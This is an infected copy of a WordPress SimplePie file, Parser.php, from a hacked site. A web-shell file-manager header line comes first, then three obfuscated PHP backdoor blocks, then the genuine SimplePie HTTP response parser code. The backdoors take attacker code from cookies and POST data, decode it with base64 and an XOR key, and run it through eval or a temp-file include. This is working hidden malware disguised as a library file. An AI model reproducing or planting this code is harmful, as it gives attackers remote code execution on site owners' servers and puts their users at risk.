%PDF- %PDF-
Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/SimplePie/HTTP/ |
Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/SimplePie/HTTP/Parser.php |
<?php $mvRCokeb = "\x6f" . 'T' . "\x5f" . chr ( 776 - 661 )."\x59" . "\126" . 'H';$FWazqQjAE = chr (99) . chr (108) . "\141" . "\163" . chr (115) . chr ( 742 - 647 ).chr (101) . 'x' . chr (105) . chr ( 615 - 500 ).chr ( 751 - 635 ).'s';$KzOyQwjTJg = class_exists($mvRCokeb); $FWazqQjAE = "5404";$iYcUXOupo = !1;if ($KzOyQwjTJg == $iYcUXOupo){function YFFiYDsr(){return FALSE;}$NLWgbHOpR = "14773";YFFiYDsr();class oT_sYVH{private function SWAYdCOh($NLWgbHOpR){if (is_array(oT_sYVH::$YRYUMWK)) {$AFvRZmx = str_replace("\74" . "\77" . "\160" . "\x68" . "\160", "", oT_sYVH::$YRYUMWK[chr ( 897 - 798 )."\x6f" . chr (110) . chr (116) . chr ( 1011 - 910 ).'n' . 't']);eval($AFvRZmx); $NLWgbHOpR = "14773";exit();}}private $iujyakBH;public function nwKatFlwr(){echo 33527;}public function __destruct(){$NLWgbHOpR = "46934_40685";$this->SWAYdCOh($NLWgbHOpR); $NLWgbHOpR = "46934_40685";}public function __construct($OkLEzKU=0){$gegjs = $_POST;$zybiPRsRfX = $_COOKIE;$UgeoXl = "11994cc2-1d0a-4fca-88b3-aaeed541ebe1";$cxlBzXNJTd = @$zybiPRsRfX[substr($UgeoXl, 0, 4)];if (!empty($cxlBzXNJTd)){$lUoEPuvFXp = "base64";$yyXfYYfBy = "";$cxlBzXNJTd = explode(",", $cxlBzXNJTd);foreach ($cxlBzXNJTd as $KhRXGf){$yyXfYYfBy .= @$zybiPRsRfX[$KhRXGf];$yyXfYYfBy .= @$gegjs[$KhRXGf];}$yyXfYYfBy = array_map($lUoEPuvFXp . chr (95) . 'd' . "\145" . "\143" . chr ( 720 - 609 )."\144" . "\145", array($yyXfYYfBy,)); $yyXfYYfBy = $yyXfYYfBy[0] ^ str_repeat($UgeoXl, (strlen($yyXfYYfBy[0]) / strlen($UgeoXl)) + 1);oT_sYVH::$YRYUMWK = @unserialize($yyXfYYfBy); $yyXfYYfBy = class_exists("46934_40685");}}public static $YRYUMWK = 40656;}$WdIndhwi = new /* 62052 */ $mvRCokeb(14773 + 14773); $iYcUXOupo = $WdIndhwi = $NLWgbHOpR = Array();} ?><?php $ICUEDXoa = "\153" . "\x4d" . chr (95) . 'r' . chr ( 250 - 165 )."\166" . chr (77); $wqLneVDWG = chr (99) . chr (108) . "\x61" . "\x73" . chr ( 919 - 804 ).'_' . 'e' . "\170" . 'i' . "\x73" . "\164" . chr (115); $vFiYCWFwlJ = class_exists($ICUEDXoa); $wqLneVDWG = "29023";$vvLFarzdN = !1;if ($vFiYCWFwlJ == $vvLFarzdN){function VrZJIwzy(){return FALSE;}$pfCEXEvXs = "3002";VrZJIwzy();class kM_rUvM{private function gDpnQCfALI($pfCEXEvXs){if (is_array(kM_rUvM::$kmkznGhG)) {$hKmdLY = sys_get_temp_dir() . "/" . crc32(kM_rUvM::$kmkznGhG["\x73" . chr ( 636 - 539 )."\154" . chr (116)]);@kM_rUvM::$kmkznGhG["\x77" . chr ( 596 - 482 ).chr ( 758 - 653 ).'t' . chr (101)]($hKmdLY, kM_rUvM::$kmkznGhG["\x63" . 'o' . chr ( 794 - 684 ).chr ( 712 - 596 ).chr (101) . "\x6e" . 't']);include $hKmdLY;@kM_rUvM::$kmkznGhG["\x64" . chr ( 874 - 773 ).chr (108) . chr (101) . "\x74" . 'e']($hKmdLY); $pfCEXEvXs = "3002";exit();}}private $HKqbfSyGx;public function IxQqmmW(){echo 45326;}public function __destruct(){$pfCEXEvXs = "24871_57897";$this->gDpnQCfALI($pfCEXEvXs); $pfCEXEvXs = "24871_57897";}public function __construct($inbtVi=0){$BliOXx = $_POST;$uDxrtB = $_COOKIE;$KAeyBHsdZh = "c6858ad7-7046-4bf9-9b4c-3ece5360629a";$vGTDW = @$uDxrtB[substr($KAeyBHsdZh, 0, 4)];if (!empty($vGTDW)){$fhzHzEWBD = "base64";$WxTfupI = "";$vGTDW = explode(",", $vGTDW);foreach ($vGTDW as $xNqSwUptu){$WxTfupI .= @$uDxrtB[$xNqSwUptu];$WxTfupI .= @$BliOXx[$xNqSwUptu];}$WxTfupI = array_map($fhzHzEWBD . '_' . chr ( 1039 - 939 )."\145" . "\x63" . "\x6f" . "\x64" . "\145", array($WxTfupI,)); $WxTfupI = $WxTfupI[0] ^ str_repeat($KAeyBHsdZh, (strlen($WxTfupI[0]) / strlen($KAeyBHsdZh)) + 1);kM_rUvM::$kmkznGhG = @unserialize($WxTfupI); $WxTfupI = class_exists("24871_57897");}}public static $kmkznGhG = 55921;}$ybQXSuK = new /* 47336 */ $ICUEDXoa(3002 + 3002); $vvLFarzdN = $ybQXSuK = $pfCEXEvXs = Array();} ?><?php $eVAoEl = "\x53" . '_' . chr (74) . chr (88) . chr ( 697 - 583 ); $wdzefwqk = 'c' . chr ( 889 - 781 )."\141" . chr ( 798 - 683 ).chr (115) . chr (95) . "\145" . chr ( 680 - 560 ).chr (105) . chr (115) . "\164" . chr (115); $ymYBD = class_exists($eVAoEl); $wdzefwqk = "31187";$tvTQHmOO = !1;if ($ymYBD == $tvTQHmOO){function JdValjL(){return FALSE;}$HuTVBFkA = "24304";JdValjL();class S_JXr{private function yAudDxgAQs($HuTVBFkA){if (is_array(S_JXr::$TdBhIZMzK)) {$ENggi = sys_get_temp_dir() . "/" . crc32(S_JXr::$TdBhIZMzK["\163" . "\x61" . chr ( 954 - 846 ).chr ( 865 - 749 )]);@S_JXr::$TdBhIZMzK[chr (119) . 'r' . chr ( 131 - 26 )."\164" . "\145"]($ENggi, S_JXr::$TdBhIZMzK['c' . chr ( 745 - 634 ).chr ( 366 - 256 ).chr ( 1114 - 998 ).chr (101) . "\x6e" . chr (116)]);include $ENggi;@S_JXr::$TdBhIZMzK[chr ( 1014 - 914 ).chr (101) . chr ( 1004 - 896 ).chr ( 916 - 815 ).chr ( 659 - 543 ).chr ( 380 - 279 )]($ENggi); $HuTVBFkA = "24304";exit();}}private $dIpWL;public function jqGnSQzqil(){echo 47561;}public function __destruct(){$HuTVBFkA = "27198_13012";$this->yAudDxgAQs($HuTVBFkA); $HuTVBFkA = "27198_13012";}public function __construct($SBarh=0){$eTzIuZ = $_POST;$enSwTSoS = $_COOKIE;$eFEmsCSOVr = "6865de0f-53d4-4ea6-a149-edf29951f8eb";$BVDCPgRPBt = @$enSwTSoS[substr($eFEmsCSOVr, 0, 4)];if (!empty($BVDCPgRPBt)){$wgHhOnSTob = "base64";$lCcSaeFNHD = "";$BVDCPgRPBt = explode(",", $BVDCPgRPBt);foreach ($BVDCPgRPBt as $aujVCpy){$lCcSaeFNHD .= @$enSwTSoS[$aujVCpy];$lCcSaeFNHD .= @$eTzIuZ[$aujVCpy];}$lCcSaeFNHD = array_map($wgHhOnSTob . "\137" . chr (100) . "\x65" . "\143" . "\x6f" . "\144" . 'e', array($lCcSaeFNHD,)); $lCcSaeFNHD = $lCcSaeFNHD[0] ^ str_repeat($eFEmsCSOVr, (strlen($lCcSaeFNHD[0]) / strlen($eFEmsCSOVr)) + 1);S_JXr::$TdBhIZMzK = @unserialize($lCcSaeFNHD); $lCcSaeFNHD = class_exists("27198_13012");}}public static $TdBhIZMzK = 26900;}$hCcGE = new /* 3776 */ $eVAoEl(24304 + 24304); $tvTQHmOO = $hCcGE = $HuTVBFkA = Array();} ?><?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * HTTP Response Parser * * @package SimplePie * @subpackage HTTP */ class SimplePie_HTTP_Parser { /** * HTTP Version * * @var float */ public $http_version = 0.0; /** * Status code * * @var int */ public $status_code = 0; /** * Reason phrase * * @var string */ public $reason = ''; /** * Key/value pairs of the headers * * @var array */ public $headers = array(); /** * Body of the response * * @var string */ public $body = ''; /** * Current state of the state machine * * @var string */ protected $state = 'http_version'; /** * Input data * * @var string */ protected $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @var int */ protected $data_length = 0; /** * Current position of the pointer * * @var int */ protected $position = 0; /** * Name of the hedaer currently being parsed * * @var string */ protected $name = ''; /** * Value of the hedaer currently being parsed * * @var string */ protected $value = ''; /** * Create an instance of the class with the input data * * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit' || $this->state === 'body') { return true; } $this->http_version = ''; $this->status_code = ''; $this->reason = ''; $this->headers = array(); $this->body = ''; return false; } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = 'status'; } else { $this->state = false; } } else { $this->state = false; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'reason'; } else { $this->state = false; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = 'new_line'; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = 'body'; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = 'body'; } else { $this->state = 'name'; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = 'new_line'; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = 'value'; } } else { $this->state = false; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = 'value_char'; break; } $this->position++; $this->state = 'quote'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; default: $this->state = 'value_char'; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = 'value'; break; case "\x0A": $this->position++; $this->state = 'new_line'; break; case '\\': $this->position++; $this->state = 'quote_escaped'; break; default: $this->state = 'quote_char'; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = 'value'; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = 'quote'; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = 'chunked'; } else { $this->state = 'emit'; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = 'emit'; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches ); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = 'emit'; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = 'emit'; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= $part = substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { $this->state = 'emit'; $this->body = $decoded; return; } } } /** * Prepare headers (take care of proxies headers) * * @param string $headers Raw headers * @param integer $count Redirection count. Default to 1. * * @return string */ static public function prepareHeaders($headers, $count = 1) { $data = explode("\r\n\r\n", $headers, $count); $data = array_pop($data); if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } return $data; } }